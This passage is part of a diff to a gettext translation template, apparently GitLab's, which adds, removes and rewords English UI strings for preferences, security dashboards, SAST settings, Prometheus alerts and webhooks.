msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your administrator with any questions."
+msgstr ""
+
msgid "Please contact your administrator."
msgstr ""
@@ -18091,13 +18655,13 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
+msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
+msgid "Preferences|Customize integrations with third party services."
msgstr ""
-msgid "Preferences|Default dashboard"
+msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
@@ -18109,6 +18673,9 @@ msgstr ""
msgid "Preferences|For example: 30 mins ago."
msgstr ""
+msgid "Preferences|Homepage content"
+msgstr ""
+
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
@@ -18400,15 +18967,9 @@ msgstr ""
msgid "Profiles|Default notification email"
msgstr ""
-msgid "Profiles|Delete Account"
-msgstr ""
-
msgid "Profiles|Delete account"
msgstr ""
-msgid "Profiles|Delete your account?"
-msgstr ""
-
msgid "Profiles|Deleting an account has the following effects:"
msgstr ""
@@ -18799,6 +19360,9 @@ msgstr ""
msgid "Project visibility level will be changed to match namespace rules when transferring to a group."
msgstr ""
+msgid "Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "Project: %{name}"
msgstr ""
@@ -18823,6 +19387,9 @@ msgstr ""
msgid "ProjectFileTree|Name"
msgstr ""
+msgid "ProjectFileTree|Show more"
+msgstr ""
+
msgid "ProjectLastActivity|Never"
msgstr ""
@@ -19414,7 +19981,7 @@ msgstr ""
msgid "PrometheusAlerts|Operator"
msgstr ""
-msgid "PrometheusAlerts|Runbook"
+msgid "PrometheusAlerts|Runbook URL (optional)"
msgstr ""
msgid "PrometheusAlerts|Select query"
@@ -19423,10 +19990,19 @@ msgstr ""
msgid "PrometheusAlerts|Threshold"
msgstr ""
-msgid "PrometheusService|%{exporters} with %{metrics} were found"
+msgid "PrometheusAlerts|exceeded"
+msgstr ""
+
+msgid "PrometheusAlerts|https://gitlab.com/gitlab-com/runbooks"
+msgstr ""
+
+msgid "PrometheusAlerts|is equal to"
msgstr ""
-msgid "PrometheusService|<p class=\"text-tertiary\">No <a href=\"%{docsUrl}\">common metrics</a> were found</p>"
+msgid "PrometheusAlerts|is less than"
+msgstr ""
+
+msgid "PrometheusService|%{exporters} with %{metrics} were found"
msgstr ""
msgid "PrometheusService|Active"
@@ -19486,6 +20062,9 @@ msgstr ""
msgid "PrometheusService|New metric"
msgstr ""
+msgid "PrometheusService|No %{docsUrlStart}common metrics%{docsUrlEnd} were found"
+msgstr ""
+
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
@@ -19540,6 +20119,9 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotion is not supported."
+msgstr ""
+
msgid "Promotions|Burndown Charts are visual representations of the progress of completing a milestone. At a glance, you see the current state for the completion a given milestone. Without them, you would have to organize the data from the milestone and plot it yourself to have the same sense of progress."
msgstr ""
@@ -19621,6 +20203,9 @@ msgstr ""
msgid "Prompt users to upload SSH keys"
msgstr ""
+msgid "Protect"
+msgstr ""
+
msgid "Protect variable"
msgstr ""
@@ -19951,9 +20536,6 @@ msgstr ""
msgid "Recent searches"
msgstr ""
-msgid "Recipe"
-msgstr ""
-
msgid "Reconfigure"
msgstr ""
@@ -20050,6 +20632,9 @@ msgstr ""
msgid "Registration|Your profile"
msgstr ""
+msgid "Registry setup"
+msgstr ""
+
msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
msgstr ""
@@ -20143,6 +20728,9 @@ msgstr ""
msgid "Releases|New Release"
msgstr ""
+msgid "Release|Something went wrong while creating a new release"
+msgstr ""
+
msgid "Release|Something went wrong while getting the release details"
msgstr ""
@@ -20185,6 +20773,9 @@ msgstr ""
msgid "Remove all or specific label(s)"
msgstr ""
+msgid "Remove approver"
+msgstr ""
+
msgid "Remove approvers"
msgstr ""
@@ -20254,9 +20845,6 @@ msgstr ""
msgid "Remove priority"
msgstr ""
-msgid "Remove project"
-msgstr ""
-
msgid "Remove secondary node"
msgstr ""
@@ -20290,9 +20878,6 @@ msgstr ""
msgid "Removed %{type} with id %{id}"
msgstr ""
-msgid "Removed Projects"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
@@ -20305,12 +20890,6 @@ msgstr ""
msgid "Removed parent epic %{epic_ref}."
msgstr ""
-msgid "Removed projects"
-msgstr ""
-
-msgid "Removed projects cannot be restored!"
-msgstr ""
-
msgid "Removed spent time."
msgstr ""
@@ -20359,15 +20938,9 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing a project places it into a read-only state until %{date}, at which point the project will be permanently removed. Are you ABSOLUTELY sure?"
-msgstr ""
-
msgid "Removing license…"
msgstr ""
-msgid "Removing the project will delete its repository and all related resources including issues, merge requests etc."
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -20551,9 +21124,6 @@ msgstr ""
msgid "Repository Settings"
msgstr ""
-msgid "Repository URL"
-msgstr ""
-
msgid "Repository check"
msgstr ""
@@ -20743,9 +21313,15 @@ msgstr ""
msgid "Resolve all threads in new issue"
msgstr ""
+msgid "Resolve conflicts"
+msgstr ""
+
msgid "Resolve conflicts on source branch"
msgstr ""
+msgid "Resolve these conflicts or ask someone with write access to this repository to merge it locally."
+msgstr ""
+
msgid "Resolve thread"
msgstr ""
@@ -20926,6 +21502,9 @@ msgstr ""
msgid "Rook"
msgstr ""
+msgid "Rule name is already taken."
+msgstr ""
+
msgid "Rules that define what git pushes are accepted for a project in this group. All newly created projects in this group will use these settings."
msgstr ""
@@ -20938,6 +21517,9 @@ msgstr ""
msgid "Run housekeeping"
msgstr ""
+msgid "Run manual or delayed jobs"
+msgstr ""
+
msgid "Run tests against your code live using the Web Terminal"
msgstr ""
@@ -21064,6 +21646,9 @@ msgstr ""
msgid "Save Changes"
msgstr ""
+msgid "Save Push Rules"
+msgstr ""
+
msgid "Save anyway"
msgstr ""
@@ -21094,6 +21679,9 @@ msgstr ""
msgid "Save variables"
msgstr ""
+msgid "Saved scan settings and target site settings which are reusable."
+msgstr ""
+
msgid "Saving"
msgstr ""
@@ -21142,6 +21730,9 @@ msgstr ""
msgid "Scopes can't be blank"
msgstr ""
+msgid "Score"
+msgstr ""
+
msgid "Scroll down"
msgstr ""
@@ -21184,6 +21775,9 @@ msgstr ""
msgid "Search branches and tags"
msgstr ""
+msgid "Search branches, tags, and commits"
+msgstr ""
+
msgid "Search by Git revision"
msgstr ""
@@ -21391,6 +21985,9 @@ msgstr ""
msgid "Secondary"
msgstr ""
+msgid "Seconds"
+msgstr ""
+
msgid "Secret"
msgstr ""
@@ -21418,13 +22015,37 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|One or more of the security scanners must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires approval for vulnerabilties of Critical, High, or Unknown severity. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires license policy rules for licenses of Allowed, or Denied. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
+msgid "SecurityConfiguration|Available for on-demand DAST"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. More advanced configuration options exist, which you can add to the configuration file this tool generates. It's important to note that if you make any configurations, they will be saved as overrides and will be %{strongStart}excluded from automatic updates%{strongEnd}."
+msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "SecurityConfiguration|Create Merge Request"
+msgstr ""
+
+msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Enable"
msgstr ""
msgid "SecurityConfiguration|Enable via Merge Request"
@@ -21445,6 +22066,9 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|SAST Configuration"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -21472,7 +22096,7 @@ msgstr ""
msgid "SecurityReports|Add a project to your dashboard"
msgstr ""
-msgid "SecurityReports|Add or remove projects from your dashboard"
+msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
msgstr ""
msgid "SecurityReports|Add projects"
@@ -21508,13 +22132,10 @@ msgstr ""
msgid "SecurityReports|Download Report"
msgstr ""
-msgid "SecurityReports|Each vulnerability now has a unique page that can be directly linked to, shared, referenced, and tracked as the single source of truth. Vulnerability occurrences also persist across scanner runs, which improves tracking and visibility and reduces duplicates between scans."
-msgstr ""
-
-msgid "SecurityReports|Edit dashboard"
+msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
msgstr ""
-msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
+msgid "SecurityReports|Ensure that %{trackingStart}issue tracking%{trackingEnd} is enabled for this project and you have %{permissionsStart}permission to create new issues%{permissionsEnd}."
msgstr ""
msgid "SecurityReports|Error fetching the vulnerability counts. Please check your network connection and try again."
@@ -21529,19 +22150,13 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
-msgid "SecurityReports|Group Security Dashboard"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
-msgid "SecurityReports|Introducing standalone vulnerabilities"
-msgstr ""
-
msgid "SecurityReports|Issue Created"
msgstr ""
-msgid "SecurityReports|Learn more"
+msgid "SecurityReports|Issues created from a vulnerability cannot be removed."
msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
@@ -21553,6 +22168,9 @@ msgstr ""
msgid "SecurityReports|Monitor vulnerabilities in your code"
msgstr ""
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
msgid "SecurityReports|More info"
msgstr ""
@@ -21571,13 +22189,13 @@ msgstr ""
msgid "SecurityReports|Project"
msgstr ""
-msgid "SecurityReports|Projects added"
+msgid "SecurityReports|Project was not found or you do not have permission to add this project to Security Dashboards."
msgstr ""
-msgid "SecurityReports|Remove project from dashboard"
+msgid "SecurityReports|Projects added"
msgstr ""
-msgid "SecurityReports|Return to dashboard"
+msgid "SecurityReports|Remove project from dashboard"
msgstr ""
msgid "SecurityReports|Scan details"
@@ -21649,7 +22267,7 @@ msgstr ""
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
-msgid "SecurityReports|Unable to add %{invalidProjectsMessage}"
+msgid "SecurityReports|Unable to add %{invalidProjectsMessage}: %{errorMessage}"
msgstr ""
msgid "SecurityReports|Unable to add %{invalidProjects}"
@@ -21658,6 +22276,9 @@ msgstr ""
msgid "SecurityReports|Undo dismiss"
msgstr ""
+msgid "SecurityReports|Vulnerability Report"
+msgstr ""
+
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
@@ -21688,9 +22309,6 @@ msgstr ""
msgid "See what's new at GitLab"
msgstr ""
-msgid "See your pipeline in action"
-msgstr ""
-
msgid "Select"
msgstr ""
@@ -21814,6 +22432,9 @@ msgstr ""
msgid "Select shards to replicate"
msgstr ""
+msgid "Select source"
+msgstr ""
+
msgid "Select source branch"
msgstr ""
@@ -21844,6 +22465,9 @@ msgstr ""
msgid "Select timezone"
msgstr ""
+msgid "Select type"
+msgstr ""
+
msgid "Select user"
msgstr ""
@@ -22033,6 +22657,12 @@ msgstr ""
msgid "Service Desk is enabled but not yet active"
msgstr ""
+msgid "Service Desk is not enabled"
+msgstr ""
+
+msgid "Service Desk is not supported"
+msgstr ""
+
msgid "Service Templates"
msgstr ""
@@ -22045,6 +22675,12 @@ msgstr ""
msgid "Set %{epic_ref} as the parent epic."
msgstr ""
+msgid "Set .gitlab-ci.yml to enable or configure SAST"
+msgstr ""
+
+msgid "Set .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
+msgstr ""
+
msgid "Set a default template for issue descriptions."
msgstr ""
@@ -22363,19 +22999,19 @@ msgstr ""
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
-msgid "Showing Latest Version"
+msgid "Showing all issues"
msgstr ""
-msgid "Showing Version #%{versionNumber}"
+msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
-msgid "Showing all issues"
+msgid "Showing last %{size} of log -"
msgstr ""
-msgid "Showing graphs based on events of the last %{timerange} days."
+msgid "Showing latest version"
msgstr ""
-msgid "Showing last %{size} of log -"
+msgid "Showing version #%{versionNumber}"
msgstr ""
msgid "Side-by-side"
@@ -22471,6 +23107,9 @@ msgstr ""
msgid "Similar issues"
msgstr ""
+msgid "Simulate a pipeline created for the default branch"
+msgstr ""
+
msgid "Single or combined queries"
msgstr ""
@@ -22513,7 +23152,7 @@ msgstr ""
msgid "SlackIntegration|Select events below to enable notifications. The %{strong_open}Slack channel names%{strong_close} and %{strong_open}Slack username%{strong_close} fields are optional."
msgstr ""
-msgid "SlackIntegration|This service send notifications about projects' events to Slack channels. To set up this service:"
+msgid "SlackIntegration|This service sends notifications about project events to Slack channels. To set up this service:"
msgstr ""
msgid "SlackService|2. Paste the %{strong_open}Token%{strong_close} into the field below"
@@ -22564,12 +23203,21 @@ msgstr ""
msgid "SnippetsEmptyState|There are no snippets to show."
msgstr ""
+msgid "Snippets|Add another file %{num}/%{total}"
+msgstr ""
+
+msgid "Snippets|Delete file"
+msgstr ""
+
msgid "Snippets|Description (optional)"
msgstr ""
msgid "Snippets|File"
msgstr ""
+msgid "Snippets|Files"
+msgstr ""
+
msgid "Snippets|Give your file a name to add code highlighting, e.g. example.rb for Ruby"
msgstr ""
@@ -22627,6 +23275,9 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong when reordering designs. Please try again"
+msgstr ""
+
msgid "Something went wrong when toggling the button"
msgstr ""
@@ -22756,10 +23407,10 @@ msgstr ""
msgid "Something went wrong, unable to add projects to dashboard"
msgstr ""
-msgid "Something went wrong, unable to get projects"
+msgid "Something went wrong, unable to delete project"
msgstr ""
-msgid "Something went wrong, unable to remove project"
+msgid "Something went wrong, unable to get projects"
msgstr ""
msgid "Something went wrong, unable to search projects"
@@ -23656,6 +24307,9 @@ msgstr ""
msgid "Switch to the source to copy the file contents"
msgstr ""
+msgid "Symbolic link"
+msgstr ""
+
msgid "Sync information"
msgstr ""
@@ -23704,6 +24358,9 @@ msgstr ""
msgid "Tag name"
msgstr ""
+msgid "Tag name is required"
+msgstr ""
+
msgid "Tag this commit."
msgstr ""
@@ -23716,6 +24373,9 @@ msgstr ""
msgid "Tags"
msgstr ""
+msgid "Tags are deleted until the timeout is reached. Any remaining tags are included the next time the policy runs. To remove the time limit, set it to 0."
+msgstr ""
+
msgid "Tags feed"
msgstr ""
@@ -23899,6 +24559,12 @@ msgstr ""
msgid "Test"
msgstr ""
+msgid "Test Cases"
+msgstr ""
+
+msgid "Test cases are not available for this project"
+msgstr ""
+
msgid "Test coverage parsing"
msgstr ""
@@ -23968,9 +24634,6 @@ msgstr ""
msgid "TestReports|There was an error fetching the summary."
msgstr ""
-msgid "TestReports|There was an error fetching the test reports."
-msgstr ""
-
msgid "TestReports|There was an error fetching the test suite."
msgstr ""
@@ -24007,16 +24670,13 @@ msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr ""
-msgid "The %{true_up_link_start}true-up model%{link_end} has a retroactive charge for these users at the next renewal. If you want to update your license sooner to prevent this, %{support_link_start}please contact our Support team%{link_end}."
-msgstr ""
-
msgid "The %{type} contains the following error:"
msgid_plural "The %{type} contains the following errors:"
msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "The Advanced Global Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
+msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
@@ -24043,6 +24703,9 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
+msgid "The Web IDE offers advanced syntax highlighting capabilities and more."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
@@ -24073,6 +24736,9 @@ msgstr ""
msgid "The commit does not exist"
msgstr ""
+msgid "The comparison view may be inaccurate due to merge conflicts."
+msgstr ""
+
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -24127,6 +24793,12 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The following %{user} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "The following %{user} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "The following items will NOT be exported:"
msgstr ""
@@ -24229,13 +24901,13 @@ msgstr ""
msgid "The number of changes to be fetched from GitLab when cloning a repository. This can speed up Pipelines execution. Keep empty or set to 0 to disable shallow clone by default and make GitLab CI fetch all branches and tags each time."
msgstr ""
-msgid "The number of merge requests merged to the master branch by month."
+msgid "The number of merge requests merged by month."
msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
-msgid "The one place for your designs"
+msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
msgid "The passphrase required to decrypt the private key. This is optional and the value is encrypted at rest."
@@ -24274,6 +24946,9 @@ msgstr ""
msgid "The project can be accessed without any authentication."
msgstr ""
+msgid "The project has already been added to your dashboard."
+msgstr ""
+
msgid "The project is accessible only by members of the project. Access must be granted explicitly to each user."
msgstr ""
@@ -24391,6 +25066,9 @@ msgstr ""
msgid "There are currently no events."
msgstr ""
+msgid "There are merge conflicts"
+msgstr ""
+
msgid "There are no %{replicableTypeName} to show"
msgstr ""
@@ -24466,12 +25144,15 @@ msgstr ""
msgid "There is already a repository with that name on disk"
msgstr ""
-msgid "There is no data available."
+msgid "There is no chart data available."
msgstr ""
msgid "There is no data available. Please change your selection."
msgstr ""
+msgid "There is no table data available."
+msgstr ""
+
msgid "There is too much data to calculate. Please change your selection."
msgstr ""
@@ -24484,6 +25165,9 @@ msgstr ""
msgid "There was a problem fetching labels."
msgstr ""
+msgid "There was a problem fetching milestones."
+msgstr ""
+
msgid "There was a problem fetching project branches."
msgstr ""
@@ -24634,19 +25318,19 @@ msgstr ""
msgid "There was an error when unsubscribing from this label."
msgstr ""
-msgid "There was an error while fetching value stream analytics data."
+msgid "There was an error while fetching the chart data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration data."
+msgid "There was an error while fetching the table data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration median data."
+msgid "There was an error while fetching value stream analytics %{requestTypeName} data."
msgstr ""
-msgid "There was an error while fetching value stream analytics recent activity data."
+msgid "There was an error while fetching value stream analytics data."
msgstr ""
-msgid "There was an error while fetching value stream analytics time summary data."
+msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
@@ -24670,6 +25354,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuableType} is confidential"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -24700,7 +25387,7 @@ msgstr ""
msgid "This action can lead to data loss. To prevent accidental actions we ask you to confirm your intention."
msgstr ""
-msgid "This action cannot be undone. You will lose the project's respository and all conent: issues, merge requests, etc."
+msgid "This action cannot be undone. You will lose the project's repository and all content: issues, merge requests, etc."
msgstr ""
msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all content: issues, merge requests, etc."
@@ -24874,9 +25561,6 @@ msgstr ""
msgid "This is your current session"
msgstr ""
-msgid "This issue is confidential"
-msgstr ""
-
msgid "This issue is currently blocked by the following issues: %{issues}."
msgstr ""
@@ -25039,15 +25723,15 @@ msgstr ""
msgid "This project does not have a wiki homepage yet"
msgstr ""
-msgid "This project does not have billing enabled. To create a cluster, <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">enable billing <i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> and try again."
-msgstr ""
-
msgid "This project has no active access tokens."
msgstr ""
msgid "This project is archived and cannot be commented on."
msgstr ""
+msgid "This project manages its dependencies using %{strong_start}%{manager_name}%{strong_end}"
+msgstr ""
+
msgid "This project path either does not exist or you do not have access."
msgstr ""
@@ -25108,6 +25792,9 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
+msgid "This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?"
+msgstr ""
+
msgid "This will help us personalize your onboarding experience."
msgstr ""
@@ -25483,9 +26170,6 @@ msgstr ""
msgid "To define internal users, first enable new users set to external"
msgstr ""
-msgid "To enable it and see User Cohorts, visit %{application_settings_link_start}application settings%{application_settings_link_end}."
-msgstr ""
-
msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
msgstr ""
@@ -25570,9 +26254,15 @@ msgstr ""
msgid "To unsubscribe from this issue, please paste the following link into your browser:"
msgstr ""
+msgid "To update Snippets with multiple files, you must use the `files` parameter"
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
msgstr ""
+msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
+msgstr ""
+
msgid "To view the roadmap, add a start or due date to one of your epics in this group or its subgroups. In the months view, only epics in the past month, current month, and next 5 months are shown."
msgstr ""
@@ -25594,9 +26284,6 @@ msgstr ""
msgid "Today"
msgstr ""
-msgid "Toggle Kubernetes cluster"
-msgstr ""
-
msgid "Toggle Markdown preview"
msgstr ""
@@ -25657,6 +26344,9 @@ msgstr ""
msgid "Toggles :%{name}: emoji award."
msgstr ""
+msgid "Token valid until revoked"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -25801,6 +26491,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger manual job"
+msgstr ""
+
msgid "Trigger pipelines for mirror updates"
msgstr ""
@@ -25870,9 +26563,18 @@ msgstr ""
msgid "Turn On"
msgstr ""
+msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
+msgstr ""
+
msgid "Turn on Service Desk"
msgstr ""
+msgid "Turn on usage ping"
+msgstr ""
+
+msgid "Turn on usage ping to review instance-level analytics."
+msgstr ""
+
msgid "Twitter"
msgstr ""
@@ -25888,10 +26590,22 @@ msgstr ""
msgid "Two-factor Authentication Recovery codes"
msgstr ""
-msgid "Two-factor Authentication has been disabled for this user"
+msgid "Two-factor authentication"
msgstr ""
-msgid "Two-factor authentication"
+msgid "Two-factor authentication disabled"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for this user"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for your GitLab account."
+msgstr ""
+
+msgid "Two-factor authentication has been disabled successfully!"
+msgstr ""
+
+msgid "Two-factor authentication is not enabled for this user"
msgstr ""
msgid "Type"
@@ -26074,7 +26788,7 @@ msgstr ""
msgid "Unlock the discussion"
msgstr ""
-msgid "Unlock this %{issuableDisplayName}? <strong>Everyone</strong> will be able to comment."
+msgid "Unlock this %{issuableDisplayName}? %{strongStart}Everyone%{strongEnd} will be able to comment."
msgstr ""
msgid "Unlocked"
@@ -26164,6 +26878,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused, previous index '%{index_name}' will be deleted after %{time} automatically."
+msgstr ""
+
msgid "Unverified"
msgstr ""
@@ -26245,9 +26962,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated at"
-msgstr ""
-
msgid "Updated to %{linkStart}chart v%{linkEnd}"
msgstr ""
@@ -26263,7 +26977,7 @@ msgstr ""
msgid "Upgrade your plan"
msgstr ""
-msgid "Upgrade your plan to activate Advanced Global Search."
+msgid "Upgrade your plan to activate Advanced Search."
msgstr ""
msgid "Upgrade your plan to activate Audit Events."
@@ -26338,7 +27052,7 @@ msgstr ""
msgid "Usage"
msgstr ""
-msgid "Usage ping is not enabled"
+msgid "Usage ping is off"
msgstr ""
msgid "Usage statistics"
@@ -26428,9 +27142,6 @@ msgstr ""
msgid "Use %{code_start}::%{code_end} to create a %{link_start}scoped label set%{link_end} (eg. %{code_start}priority::1%{code_end})"
msgstr ""
-msgid "Use %{native_redirect_uri} for local tests"
-msgstr ""
-
msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
msgstr ""
@@ -26482,9 +27193,6 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
-msgid "User Cohorts are only shown when the %{usage_ping_link_start}usage ping%{usage_ping_link_end} is enabled."
-msgstr ""
-
msgid "User IDs"
msgstr ""
@@ -26728,9 +27436,15 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
+msgid "Users requesting access to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
msgid "Users were successfully added."
msgstr ""
+msgid "Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "Users with a Guest role or those who don't belong to any projects or groups don't count towards seats in use."
msgstr ""
@@ -26764,6 +27478,9 @@ msgstr ""
msgid "Validate"
msgstr ""
+msgid "Validate your GitLab CI configuration"
+msgstr ""
+
msgid "Validate your GitLab CI configuration file"
msgstr ""
@@ -26800,6 +27517,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStream|The Default Value Stream cannot be deleted"
+msgstr ""
+
msgid "Variable"
msgstr ""
@@ -26842,6 +27562,12 @@ msgstr ""
msgid "Version"
msgstr ""
+msgid "Version %{versionNumber}"
+msgstr ""
+
+msgid "Version %{versionNumber} (latest)"
+msgstr ""
+
msgid "View Documentation"
msgstr ""
@@ -27046,6 +27772,9 @@ msgstr ""
msgid "Vulnerabilities over time"
msgstr ""
+msgid "Vulnerability Report"
+msgstr ""
+
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
@@ -27109,9 +27838,6 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong while trying to unlink the issue. Please try again later."
msgstr ""
-msgid "VulnerabilityManagement|Something went wrong, could not create an issue."
-msgstr ""
-
msgid "VulnerabilityManagement|Something went wrong, could not get user."
msgstr ""
@@ -27253,7 +27979,7 @@ msgstr ""
msgid "We sent you an email with reset password instructions"
msgstr ""
-msgid "We tried to automatically renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
+msgid "We tried to automatically renew your subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
msgstr ""
msgid "We want to be sure it is you, please confirm you are not a robot."
@@ -27298,6 +28024,90 @@ msgstr ""
msgid "Webhooks have moved. They can now be found under the Settings menu."
msgstr ""
+msgid "Webhooks|Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Issues events"
+msgstr ""
+
+msgid "Webhooks|Deployment events"
+msgstr ""
+
+msgid "Webhooks|Enable SSL verification"
+msgstr ""
+
+msgid "Webhooks|Issues events"
+msgstr ""
+
+msgid "Webhooks|Job events"
+msgstr ""
+
+msgid "Webhooks|Merge request events"
+msgstr ""
+
+msgid "Webhooks|Pipeline events"
+msgstr ""
+
+msgid "Webhooks|Push events"
+msgstr ""
+
+msgid "Webhooks|SSL verification"
+msgstr ""
+
+msgid "Webhooks|Secret Token"
+msgstr ""
+
+msgid "Webhooks|Tag push events"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered by a push to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a confidential issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a deployment is finished/failed/canceled"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a merge request is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a wiki page is created/updated"
